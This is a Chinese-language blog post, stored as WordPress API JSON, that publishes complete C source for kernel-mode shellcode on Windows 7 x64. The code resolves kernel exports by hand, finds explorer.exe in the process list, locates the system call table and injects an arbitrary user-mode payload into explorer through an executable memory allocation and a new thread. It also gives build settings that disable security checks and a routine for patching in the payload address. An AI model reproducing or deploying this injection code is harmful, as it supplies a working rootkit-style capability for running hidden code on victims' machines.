{"id":208,"date":"2019-04-14T16:35:07","date_gmt":"2019-04-14T08:35:07","guid":{"rendered":"http:\/\/www.sinkland.cn\/?p=208"},"modified":"2019-08-23T21:37:38","modified_gmt":"2019-08-23T13:37:38","slug":"%e5%86%85%e6%a0%b8%e9%80%9a%e7%94%a8shellcode","status":"publish","type":"post","link":"http:\/\/www.sinkland.cn\/?p=208","title":{"rendered":"\u5185\u6838\u901a\u7528Shellcode"},"content":{"rendered":"<p>\u5df2\u5728Win7x64\u5b9e\u9a8c\u901a\u8fc7\uff0c\u5176\u4ed6\u7cfb\u7edf\u9700\u8981\u81ea\u884c\u4fee\u6539\u504f\u79fb\u3002<\/p>\n<p>\u5927\u4f53\u601d\u8def\u662f\u4e00\u81f4\u7684\u3002<\/p>\n<p>\u5b9e\u73b0\u4e86\u4ece\u73af0\u6ce8\u5165shllcode\u5230\u73af3\u8fdb\u7a0b\u7684\u64cd\u4f5c\u3002<\/p>\n<p>\u5982\u679c\u9700\u8981\u628a\u8fd9\u6bb5shellcode\u62f7\u8d1d\u5b57\u8282\u7801\u51fa\u6765\u8fd0\u884c\u7684\u8bdd:<\/p>\n<p>\u9700\u8981\u5173\u95ed\u4ee5\u4e0b\u7f16\u8bd1\u9009\u9879:<\/p>\n<ul>\n<li>C\/C++ -> \u4ee3\u7801\u751f\u6210: \u7981\u7528\u5b89\u5168\u68c0\u67e5 (\/GS-)<\/li>\n<li>\u94fe\u63a5 -> \u5e38\u89c4 -> \u542f\u7528\u589e\u91cf\u94fe\u63a5: \u5426<\/li>\n<\/ul>\n<p>\u6838\u5fc3\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"language-c \">VOID Shellcode()\n{\n    \/\/\u5bfb\u627entoskernel\u57fa\u5740\n    PUCHAR pIdtBase = __readgsqword(0x38);\n    ULONG_PTR FuncBase = *(PULONG_PTR)(pIdtBase + 4);\n    FuncBase = FuncBase &gt;&gt; 12;\n    FuncBase = FuncBase &lt;&lt; 12;\n    PUCHAR pNtBase = NULL;\n\n    while (TRUE)\n    {\n        FuncBase -= 0x1000;\n        WORD Head = *((WORD *)FuncBase);\n        if (Head == 0x5A4D)\n        {\n            pNtBase = (PUCHAR)FuncBase;\n            break;\n        }\n    }\n\n    \/\/\u89e3\u6790\u5bfc\u51fa\u8868\n    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pNtBase;\n    PIMAGE_NT_HEADERS64 pNtHdrs = (PIMAGE_NT_HEADERS)((PCHAR)pNtBase + pDosHeader-&gt;e_lfanew);\n    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)\n        ((PCHAR)pNtBase + pNtHdrs-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\n\n    LPDWORD pNameArray = (LPDWORD)((PCHAR)pNtBase + pExportDir-&gt;AddressOfNames);\n    LPDWORD pAddrArray = (LPDWORD)((PCHAR)pNtBase + pExportDir-&gt;AddressOfFunctions);\n    LPWORD pOrdArray = (LPWORD)((PCHAR)pNtBase + pExportDir-&gt;AddressOfNameOrdinals);\n\n    CHAR strPsGetCurrentProcess[] = { 'P', 's', 'G', 'e', 't', 'C', 'u', 'r','r','e','n','t','P','r','o','c','e','s','s',0x0 };\n    CHAR strPsGetProcessImageFileName[] = { 'P', 's', 'G', 'e', 't', 'P', 'r', 'o','c','e','s','s','I','m','a','g','e','F','i','l','e','N','a','m','e',0x0 };\n    CHAR strKeStackAttachProcess[] = { 'K', 'e', 'S', 't', 'a', 'c', 'k', 'A','t','t','a','c','h','P','r','o','c','e','s','s',0x0 };\n    CHAR strKeUnstackDetachProcess[] = { 'K', 'e', 'U', 'n', 's', 't', 'a', 'c', 'k', 'D','e','t','a','c','h','P','r','o','c','e','s','s',0x0 };\n    CHAR strZwAllocateVirtualMemory[] = { 'Z', 'w', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 0x0 };\n\n    pfPsGetCurrentProcess pfnPsGetCurrentProcess = NULL;\n    pfPsGetProcessImageFileName pfnPsGetProcessImageFileName = NULL;\n    pfKeStackAttachProcess pfnKeStackAttachProcess = NULL;\n    pfKeUnstackDetachProcess pfnKeUnstackDetachProcess = NULL;\n    pfZwAllocateVirtualMemory pfnZwAllocateVirtualMemory = NULL;\n    pfExAllocatePool pfnExAllocatePool = NULL;\n    for (ULONG i = 0; i &lt; pExportDir-&gt;NumberOfNames; i++)\n    {\n        if (pfnPsGetCurrentProcess != NULL &amp;&amp; \n            pfnPsGetProcessImageFileName != NULL &amp;&amp;\n            pfnKeStackAttachProcess != NULL &amp;&amp;\n            pfnKeUnstackDetachProcess != NULL &amp;&amp;\n            pfnZwAllocateVirtualMemory != NULL)\n        {\n            break;\n        }\n        PCHAR pFuncName = (PCHAR)((PCHAR)pNtBase + pNameArray[i]);\n\n        BOOL bCampareSuccessed = TRUE;\n        for (DWORD j = 0; j &lt; sizeof(strPsGetCurrentProcess); j++)\n        {\n            if (pFuncName[j] != strPsGetCurrentProcess[j])\n            {\n                bCampareSuccessed = FALSE;\n                break;\n            }\n            if (pFuncName[j] == 0x0)\n            {\n                break;\n            }\n        }\n        if (bCampareSuccessed)\n        {\n            pfnPsGetCurrentProcess = (pfPsGetCurrentProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);\n            continue;\n        }\n\n        bCampareSuccessed = TRUE;\n        for (DWORD j = 0; j &lt; sizeof(strPsGetProcessImageFileName); j++)\n        {\n            if (pFuncName[j] != strPsGetProcessImageFileName[j])\n            {\n                bCampareSuccessed = FALSE;\n                break;\n            }\n            if (pFuncName[j] == 0x0)\n            {\n                break;\n            }\n        }\n        if (bCampareSuccessed)\n        {\n            pfnPsGetProcessImageFileName = (pfPsGetProcessImageFileName)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);\n            continue;\n        }\n\n        bCampareSuccessed = TRUE;\n        for (DWORD j = 0; j &lt; sizeof(strKeStackAttachProcess); j++)\n        {\n            if (pFuncName[j] != strKeStackAttachProcess[j])\n            {\n                bCampareSuccessed = FALSE;\n                break;\n            }\n            if (pFuncName[j] == 0x0)\n            {\n                break;\n            }\n        }\n        if (bCampareSuccessed)\n        {\n            pfnKeStackAttachProcess = (pfKeStackAttachProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);\n            continue;\n        }\n\n        bCampareSuccessed = TRUE;\n        for (DWORD j = 0; j &lt; sizeof(strKeUnstackDetachProcess); j++)\n        {\n            if (pFuncName[j] != strKeUnstackDetachProcess[j])\n            {\n                bCampareSuccessed = FALSE;\n                break;\n            }\n            if (pFuncName[j] == 0x0)\n            {\n                break;\n            }\n        }\n        if (bCampareSuccessed)\n        {\n            pfnKeUnstackDetachProcess = (pfKeUnstackDetachProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);\n            continue;\n        }\n\n        bCampareSuccessed = TRUE;\n        for (DWORD j = 0; j &lt; sizeof(strZwAllocateVirtualMemory); j++)\n        {\n            if (pFuncName[j] != strZwAllocateVirtualMemory[j])\n            {\n                bCampareSuccessed = FALSE;\n                break;\n            }\n            if (pFuncName[j] == 0x0)\n            {\n                break;\n            }\n        }\n        if (bCampareSuccessed)\n        {\n            pfnZwAllocateVirtualMemory = (pfZwAllocateVirtualMemory)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);\n            continue;\n        }\n    }\n\n    \/\/\u5bfb\u627eexplorer\u8fdb\u7a0b\n    CHAR strExplorer_exe[] = { 'e', 'x', 'p', 'l', 'o', 'r', 'e', 'r','.','e','x','e',0x0 };\n\n    PEPROCESS Process = pfnPsGetCurrentProcess();\n    PEPROCESS ProcessExplorer = NULL;\n    PLIST_ENTRY ListNode = (PLIST_ENTRY)((PCHAR)Process + off_EPROCESS_ActiveLinks);\n    UINT Count = 0;\n    do\n    {\n        Process = (PEPROCESS)((PCHAR)ListNode - off_EPROCESS_ActiveLinks);\n        ListNode = ListNode-&gt;Blink;\n        LPCSTR ImageName =(LPCSTR)pfnPsGetProcessImageFileName(Process);\n\n        BOOL bCampareSuccessed = TRUE;\n        for (DWORD j = 0; j &lt; sizeof(strExplorer_exe) + 1; j++)\n        {\n            if (ImageName[j] != strExplorer_exe[j])\n            {\n                bCampareSuccessed = FALSE;\n                break;\n            }\n            if (ImageName[j] == 0x0)\n            {\n                break;\n            }\n        }\n        if (bCampareSuccessed)\n        {\n            ProcessExplorer = Process;\n            break;\n        }\n    } while (Count++ &lt; 0x100);\n\n    if (ProcessExplorer == NULL)\n    {\n        return;\n    }\n\n    \/\/ Find SSDT\u8868\u57fa\u5740\n    PKSERVICE_TABLE_DESCRIPTOR ServiceTable = NULL;\n    PUCHAR      KiSystemCall64 = (PUCHAR)__readmsr(0xC0000082);\n    PUCHAR      i = NULL;\n    ULONG_PTR   Offset = 0x00;\n    for (i = KiSystemCall64; i &lt; KiSystemCall64 + 0x500; i++)\n    {\n        if (*(i + 0) == 0x4c &amp;&amp;\n            *(i + 1) == 0x8d &amp;&amp;\n            *(i + 2) == 0x15)\n        {\n            PULONG32 pValue = (PULONG32)(i + 3);\n            Offset = *pValue;\n            ServiceTable = (PVOID)(Offset + (ULONG_PTR)i + 7);\n            break;\n        }\n    }\n    if (ServiceTable == NULL)\n    {\n        return;\n    }\n\n    pfNtCreateThreadEx pfnNtCreateThreadEx = (pfNtCreateThreadEx)((LONG_PTR)ServiceTable-&gt;Base + ((LONG_PTR)(ServiceTable-&gt;Base)[0xA5] &gt;&gt; 4));;\n    if (pfnNtCreateThreadEx == NULL)\n    {\n        return;\n    }\n\n    \/\/\u5f00\u59cb\u6ce8\u5165\n    CHAR ApcState[100] = { 0 };\n    pfnKeStackAttachProcess(ProcessExplorer, &amp;ApcState);\n\n    SIZE_T RegionSize = 0x1000;\n    PUCHAR BaseAddr = (PUCHAR)NULL;\n    NTSTATUS Status = pfnZwAllocateVirtualMemory(\n        -1,\n        &amp;BaseAddr,\n        0x00,\n        &amp;RegionSize,\n        MEM_COMMIT,\n        PAGE_EXECUTE_READWRITE\n    );\n\n    if (BaseAddr != NULL)\n    {\n        for (DWORD i = 0; i &lt; RegionSize; i++)\n        {\n            \/\/0x1122334455667788 \u66ff\u6362\u6210\u4f60\u81ea\u5df1\u7684\u7528\u6237\u6001Shellcode\u5730\u5740\n            \/\/BaseAddr[i] = ((PUCHAR)(0x1122334455667788))[i];\n        }\n\n        HANDLE ThreadHandle = NULL;\n        pfnNtCreateThreadEx(&amp;ThreadHandle, THREAD_ALL_ACCESS,\n            NULL,\n            -1,\n            (PVOID)BaseAddr,\n            (PVOID)NULL,\n            FALSE,\n            0x00, 0x00, 0x00,\n            NULL\n        );\n    }\n    pfnKeUnstackDetachProcess(&amp;ApcState);\n}\nVOID ShellcodeEnd()\n{\n    KdPrint((\"ShellcodeEnd\\n\"));\n}\n<\/code><\/pre>\n<p>\u5934\u6587\u4ef6:<\/p>\n<pre><code class=\"language-c \">typedef unsigned long       DWORD;\ntypedef unsigned short      WORD;\ntypedef unsigned char       BYTE;\ntypedef DWORD               *LPDWORD;\ntypedef WORD                *LPWORD;\ntypedef unsigned int        UINT;\ntypedef __int64 INT_PTR, *PINT_PTR;\ntypedef int                 BOOL;\n\n#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16\n\ntypedef struct _IMAGE_DOS_HEADER {      \/\/ DOS .EXE header\n    WORD   e_magic;                     \/\/ Magic number\n    WORD   e_cblp;                      \/\/ Bytes on last page of file\n    WORD   e_cp;                        \/\/ Pages in file\n    WORD   e_crlc;                      \/\/ Relocations\n    WORD   e_cparhdr;                   \/\/ Size of header in paragraphs\n    WORD   e_minalloc;                  \/\/ Minimum extra paragraphs needed\n    WORD   e_maxalloc;                  \/\/ Maximum extra paragraphs needed\n    WORD   e_ss;                        \/\/ Initial (relative) SS value\n    WORD   e_sp;                        \/\/ Initial SP value\n    WORD   e_csum;                      \/\/ Checksum\n    WORD   e_ip;                        \/\/ Initial IP value\n    WORD   e_cs;                        \/\/ Initial (relative) CS value\n    WORD   e_lfarlc;                    \/\/ File address of relocation table\n    WORD   e_ovno;                      \/\/ Overlay number\n    WORD   e_res[4];                    \/\/ Reserved words\n    WORD   e_oemid;                     \/\/ OEM identifier (for e_oeminfo)\n    WORD   e_oeminfo;                   \/\/ OEM information; e_oemid specific\n    WORD   e_res2[10];                  \/\/ Reserved words\n    LONG   e_lfanew;                    \/\/ File address of new exe header\n} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;\n\ntypedef struct _IMAGE_EXPORT_DIRECTORY {\n    DWORD   Characteristics;\n    DWORD   TimeDateStamp;\n    WORD    MajorVersion;\n    WORD    MinorVersion;\n    DWORD   Name;\n    DWORD   Base;\n    DWORD   NumberOfFunctions;\n    DWORD   NumberOfNames;\n    DWORD   AddressOfFunctions;     \/\/ RVA from base of image\n    DWORD   AddressOfNames;         \/\/ RVA from base of image\n    DWORD   AddressOfNameOrdinals;  \/\/ RVA from base of image\n} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;\n\ntypedef struct _IMAGE_FILE_HEADER {\n    WORD    Machine;\n    WORD    NumberOfSections;\n    DWORD   TimeDateStamp;\n    DWORD   PointerToSymbolTable;\n    DWORD   NumberOfSymbols;\n    WORD    SizeOfOptionalHeader;\n    WORD    Characteristics;\n} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;\ntypedef struct _IMAGE_DATA_DIRECTORY {\n    DWORD   VirtualAddress;\n    DWORD   Size;\n} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\ntypedef struct _IMAGE_OPTIONAL_HEADER64 {\n    WORD        Magic;\n    BYTE        MajorLinkerVersion;\n    BYTE        MinorLinkerVersion;\n    DWORD       SizeOfCode;\n    DWORD       SizeOfInitializedData;\n    DWORD       SizeOfUninitializedData;\n    DWORD       AddressOfEntryPoint;\n    DWORD       BaseOfCode;\n    ULONGLONG   ImageBase;\n    DWORD       SectionAlignment;\n    DWORD       FileAlignment;\n    WORD        MajorOperatingSystemVersion;\n    WORD        MinorOperatingSystemVersion;\n    WORD        MajorImageVersion;\n    WORD        MinorImageVersion;\n    WORD        MajorSubsystemVersion;\n    WORD        MinorSubsystemVersion;\n    DWORD       Win32VersionValue;\n    DWORD       SizeOfImage;\n    DWORD       SizeOfHeaders;\n    DWORD       CheckSum;\n    WORD        Subsystem;\n    WORD        DllCharacteristics;\n    ULONGLONG   SizeOfStackReserve;\n    ULONGLONG   SizeOfStackCommit;\n    ULONGLONG   SizeOfHeapReserve;\n    ULONGLONG   SizeOfHeapCommit;\n    DWORD       LoaderFlags;\n    DWORD       NumberOfRvaAndSizes;\n    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];\n} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;\ntypedef struct _IMAGE_NT_HEADERS64 {\n    DWORD Signature;\n    IMAGE_FILE_HEADER FileHeader;\n    IMAGE_OPTIONAL_HEADER64 OptionalHeader;\n} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;\n\ntypedef struct _KSERVICE_TABLE_DESCRIPTOR {\n    PLONG32    Base;\n    PULONG32   Count;\n    ULONG_PTR  Limit;\n    PUCHAR     Number;\n} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;\n\n#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   \/\/ Export Directory\n\ntypedef UINT(NTAPI *fnWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);\n\ntypedef\nPEPROCESS\n(NTAPI *pfPsGetCurrentProcess)(\n    VOID\n    );\n\ntypedef\nPUCHAR\n(NTAPI *pfPsGetProcessImageFileName) (\n    IN PEPROCESS\n    );\n\ntypedef\nVOID\n(NTAPI *pfKeStackAttachProcess)(\n    _Inout_ PRKPROCESS PROCESS,\n    _Out_ PVOID ApcState\n);\ntypedef\nVOID\n(NTAPI *pfKeUnstackDetachProcess)(\n    _In_ PVOID ApcState\n);\ntypedef\nNTSTATUS\n(NTAPI *pfZwAllocateVirtualMemory)(\n    _In_ HANDLE ProcessHandle,\n    _Inout_ PVOID *BaseAddress,\n    _In_ ULONG_PTR ZeroBits,\n    _Inout_ PSIZE_T RegionSize,\n    _In_ ULONG AllocationType,\n    _In_ ULONG Protect\n);\n\ntypedef\nVOID\n(NTAPI *pfKenelShellcode)(\n    VOID\n    );\n\n#define off_EPROCESS_ActiveLinks   0x188\n<\/code><\/pre>\n<p>\u4f7f\u7528\u65b9\u6cd5:<\/p>\n<p>\u7c7b\u4f3c\u4e8e<\/p>\n<pre><code class=\"language-c \">    PUCHAR pBuf = (PUCHAR)pfnKenelShellcode;\n    for (ULONG i = 0; i &lt; sizeof(Shellcode) - sizeof(ULONG64); i++)\n    {\n        PULONG64 pValue = (PULONG64)(pBuf + i);\n        if (*pValue == 0x1122334455667788)\n        {\n            *pValue = (ULONG64)ShellcodeUserAddr;\n            break;\n        }\n    }\n    pfnKenelShellcodeCopy();\n<\/code><\/pre>\n<p>\u6216\u8005\u76f4\u63a5\u7528\u9a71\u52a8\u8c03\u8bd5:<\/p>\n<pre><code class=\"language-c \">NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)\n{\n    KdPrint((\"DriverEntry..\\n\"));\n\n    Shellcode();\n    return STATUS_SUCCESS;\n}\n<\/code><\/pre>\n<p>\u6548\u679c:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/explorer_crash.png\" alt=\"image\" \/><\/p>\n<p>\u8fd9\u91cc\u5e76\u6ca1\u6709\u5199\u5165\u7528\u6237\u6001shellcode\uff0c\u6267\u884c\u7528\u6237\u6001\u5730\u5740\u7684\u65f6\u5019\uff0c\u4f1a\u5bfc\u81f4explorer\u5954\u6e83\uff0c\u4f46\u5df2\u7ecf\u4ee3\u8868\u6ce8\u5165\u64cd\u4f5c\u5df2\u7ecf\u6210\u529f\u4e86\u3002<\/p>\n<p>\u5982\u679c\u7528\u6237\u6001shellcode\u6b63\u5e38\u5219\u4e0d\u4f1a\u6709\u8fd9\u4e2a\u95ee\u9898\u3002<\/p>\n<p>\u7528\u6237\u6001shellcode\u53ef\u4ee5\u53c2\u8003\u6211\u7684\u53e6\u4e00\u7bc7\u535a\u5ba2\u300a\u73af\u4e09\u901a\u7528Shellcode\u300b<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5df2\u5728Win7x64\u5b9e\u9a8c\u901a\u8fc7\uff0c\u5176\u4ed6\u7cfb\u7edf\u9700\u8981\u81ea\u884c\u4fee\u6539\u504f\u79fb\u3002 \u5927\u4f53\u601d\u8def\u662f\u4e00\u81f4\u7684\u3002 \u5b9e\u73b0\u4e86\u4ece\u73af0\u6ce8\u5165shllcode\u5230 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"_links":{"self":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/208"}],"collection":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=208"}],"version-history":[{"count":2,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/208\/revisions"}],"predecessor-version":[{"id":210,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/208\/revisions\/210"}],"wp:attachment":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=208"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}